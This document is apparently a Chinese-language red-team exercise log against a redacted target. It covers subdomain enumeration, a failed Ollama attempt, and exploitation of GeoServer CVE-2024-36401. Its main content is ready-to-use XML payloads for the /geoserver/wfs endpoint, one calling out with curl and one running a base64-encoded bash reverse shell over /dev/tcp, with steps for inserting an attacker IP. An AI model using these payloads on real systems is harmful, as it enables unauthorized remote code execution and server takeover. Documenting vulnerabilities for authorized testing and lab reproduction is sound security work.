演练

2

1.信息收集

主动信息收集:oneforall

ai.xxxxxx.xx

被动信息收集:subfinder

geo.xxxxxx.xx
l.xxxxxx.xx
blog-admin.xxxxxx.xx
oss-aliyun.xxxxxx.xx
hackme.xxxxxx.xx
dao.xxxxxx.xx
geoserver.xxxxxx.xx
vnet.xxxxxx.xx
file.xxxxxx.xx
blog.xxxxxx.xx
doc.xxxxxx.xx
shellme.xxxxxx.xx
wao.xxxxxx.xx
cloud.xxxxxx.xx
tao.xxxxxx.xx
bao.xxxxxx.xx
shell.xxxxxx.xx
zentao.xxxxxx.xx
www.xxxxxx.xx
t.xxxxxx.xx

第一次演练信息收集有问题,oneforall只扫出一个,与其他人交流多出几个域名

dy.xxxx.xx
waf.xxxx.xx
vpn.xxxx.xx

2.ai.xxxx.xx

发现长亭waf(docker部署),ollama

waf后台打不进去,暂时不考虑直接换下一个

找ollama的nday

需要在自己的服务器上构造一个恶意的model manifest内容,而当victim主机pull这个manifest文件后,会在自己的/root/.ollama/models/manifests/ 最后会通过PUT,将恶意的manifest文件写入,第二次请求该manifests文件没有的内容时,会读取上一次读取的文件信息。使用多个poc也没有利用成功,换下一个不浪费时间。

3.geoserver.xxxxxx.xx

存在./geoserver/wfs路径

poc如下

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl 公网ip")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

漏洞验证成功

dns回显记录

将“YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==”进行base64解码:bash -i >& /dev/tcp/127.0.0.1/12345 0>&1,然后将里面的127.0.0.1替换为接收反弹Shell机器的公网IP,再进行base64编码替换进去

poc如下

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

监听8888端口

参考博客

【靶机实战】GeoServer 远程代码执行漏洞复现 - 极核GetShell

在线靶场 可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> GeoServer-远程代码执行 简介 CVE-2024-36401是一个高危的远程代码执行漏洞,存在于GeoServer软件中。GeoServer是一个用Java编写的开源服务器,用于共享和编辑地理空间数据。该漏洞允许未经身份验证的远程攻击者通过构造特定的请求,在服务器上执行任意代码,从而可能获取服务器的控制权。

极核GetShell只看作者